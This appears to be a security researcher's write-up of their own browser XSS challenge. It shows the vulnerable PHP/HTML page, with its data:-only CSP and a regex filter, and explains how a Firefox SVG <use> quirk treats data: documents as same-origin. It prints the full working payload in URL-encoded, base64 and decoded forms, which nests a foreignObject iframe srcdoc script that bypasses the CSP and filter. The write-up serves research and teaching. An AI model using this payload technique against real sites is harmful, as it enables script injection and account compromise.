I spend quite some on SVG and its features. Additionally I stumbled upon this bug report from SecurityMB, which abused the SVG use tag. So I decided it is time for a challenge based on this tag.
Challenge Setup
The goal of the challenge was to send a message via postMessage, which originates from http://insert-script.com. The deployed Content-Security-Policy only allowed the data: protocol. As this could be easily solved by using <script src=data:text/javascript,top.postMessage> or via an iframe and the srcdoc attribute, a regular expression is blocking these vectors. Additionally it is mentioned that this challenge can only be solved in Mozilla Firefox.
<?php
header("Content-Security-Policy: default-src data:");
?>
<!DOCTYPE html>
<body>
<h4>
Goal: Trigger alert - you did it <br/><br/>
Known solution: Requires Firefox <br/><br/>
Unintended solutions: Most likely possible, haven't really checked <br/><br/>
Headers: Script only adds CSP header, rest is done by the hoster <br/><br/>
Have Fun <br/><br/>
<b>Help:</b> <font color="red">Use</font> the good old <font color="red">SVG </font>
<br/><br/>
Found the solution: DM me - @insertscript <br/>
</h4>
Be the ?xss parameter with you <br/><br/>
<script src='data:text/javascript,
window.addEventListener("message",function(e){
alert(e.origin);
if(e.origin == "http://insert-script.com")
{
alert("you did it!");
}
});'>
</script>
<div id="testpad"></div>
<script src='data:text/javascript,
var challengeInput = new URL(location.href).searchParams.get("xss");
if (/(script|srcdoc)/gi.test(challengeInput))
{
challengeInput = "<i>nope nope nope</i>";
}
testpad.innerHTML = challengeInput;
'>
</script>
The solution - SVG use
Given the setup of this challenge it was not possible to use the embed, object or iframe tag to load a HTML document via data:, as the origin of the send postMessage is not http://insert-script.com (https://jsfiddle.net/nytg42zq/). For most tags the data: protocol is treated as a unique origin BUT not in the case of the SVG use tag.
The SVG use tag allows to reference and load a SVG document. An example structure looks like this - note the hash as it is required to reference the ID of an element in the loaded SVG structure.
<svg>
<use href='data:image/svg+xml,
<svg id="test" viewBox="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle fill="red" cx="60" cy="60" r="50"/>
</svg>#test'></use></svg>
Although the SVG specifications contains the script element, it can not be used for the solution as it doesn't get executed by the browser in the context of the SVG use tag (see here). But the SVG specification has a way more interesting tag - foreignObject
foreignObject
"The <foreignObject> SVG element includes elements from a different XML namespace.". This means that SVG can load additional tags from other namespaces (the browser has to support the namespace of course). Therefore it is possible to load HTML tags inside SVG via the XHTML namespace. By specifying the XHTML namespace, the iframe tag and its srcdoc attribute is available once again. This allows now to include a script tag inside a the iframe srcdoc attribute, which loads a script via the data: protocol. As the SVG document loaded via the SVG use tag is considered same origin, although the data: protocol handler is being used, the iframe and therefore its srcdoc document is considered same-origin as well.
Solution:
http://insert-script.com/challenges/challenge2/xchallenge.php?xss=%3Csvg%3E%3Cuse%20href%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgd2lkdGg9IjEwMDAiIGhlaWdodD0iMTAwMCI%2BCiA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIiByZXF1aXJlZEV4dGVuc2lvbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgoJPGlmcmFtZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjZG9jPSImbHQ7c2NyaXB0IHNyYz0nZGF0YTp0ZXh0L2phdmFzY3JpcHQscGFyZW50LnBvc3RNZXNzYWdlKCZxdW90O2EmcXVvdDssICZxdW90OyomcXVvdDspJyZndDsmbHQ7L3NjcmlwdCZndDsiIC8%2BCiAgICA8L2ZvcmVpZ25PYmplY3Q%2BCjwvc3ZnPg%3D%3D%23rectangle%22%2F%3E%3C%2Fsvg%3E
The URL decoded payload<svg><use href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgd2lkdGg9IjEwMDAiIGhlaWdodD0iMTAwMCI+CiA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIiByZXF1aXJlZEV4dGVuc2lvbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgoJPGlmcmFtZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjZG9jPSImbHQ7c2NyaXB0IHNyYz0nZGF0YTp0ZXh0L2phdmFzY3JpcHQscGFyZW50LnBvc3RNZXNzYWdlKCZxdW90O2EmcXVvdDssICZxdW90OyomcXVvdDspJyZndDsmbHQ7L3NjcmlwdCZndDsiIC8+CiAgICA8L2ZvcmVpZ25PYmplY3Q+Cjwvc3ZnPg==#rectangle"/></svg>
Base64 decoded SVG payload:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1000" height="1000">
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<iframe xmlns="http://www.w3.org/1999/xhtml"
srcdoc="<script
src='data:text/javascript,parent.postMessage("a", "*")'
></script>" /></foreignObject></svg>
The solution only works in Firefox as Google Chrome does not support the foreignObject tag in the context of the SVG use tag.
Additional notes
Through Twitter messages I was made aware that people were close to solving the challenge. They managed to inject a SVG document via SVG use and used the foreignObject tag to inject an iframe srcdoc document. But as soon as the iframe srcdoc attribute contained "<", it would no longer be loaded. This is different to the standard HTML parsing behavior most people are used to. The parsing difference is introduced by the SVG use element. It references a SVG document, which is a XML based file format. Therefore XML parsing rules are enforced. This means that not only all tags have to be closed correctly but that attributes can not contain "<" - they have to be HTML encoded (eg < or <) or else a parsing error occurs and the document isn't rendered at all (some back story about HTML vs XML).
Lastly - why can SVG use load a document via data:, which is considered same origin and not a unique origin like in the case of eg iframe?
I have no idea - I know only three things:
-) Mozilla Firefox treated documents loaded via SVG use and the data: protocol handler as a same origin resource as far as I can remember.
-) Regarding Google Chrome - I can quote my own blogpost from 2014: "Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag." - but in 2020 it does
-) The standard doesn't seem to help - maybe I didn't find the correct standard^^:
Unlike 'image', the 'use' element cannot reference entire files.
Unlike ‘image’, the ‘use’ element cannot reference entire files.
User agents may restrict external resource documents for security reasons. In particular, this specification does not allow cross-origin resource requests in ‘use’. A future version of this or another specification may provide a method of securely enabling cross-origin re-use of assets.
I also have to mention that different CSP directives are used for <svg><use>. Google Chrome applies CSP img-src to the use element as it does not support foreignObject and the resource is considered an image. Mozilla Firefox applies the CSP default-src directive to the use element as it basically a new document and no specific directive exists for the element. Please note that this is only my interpretation.
So all in all things are complicated - but don't worry. Mathml has a similar tag ;)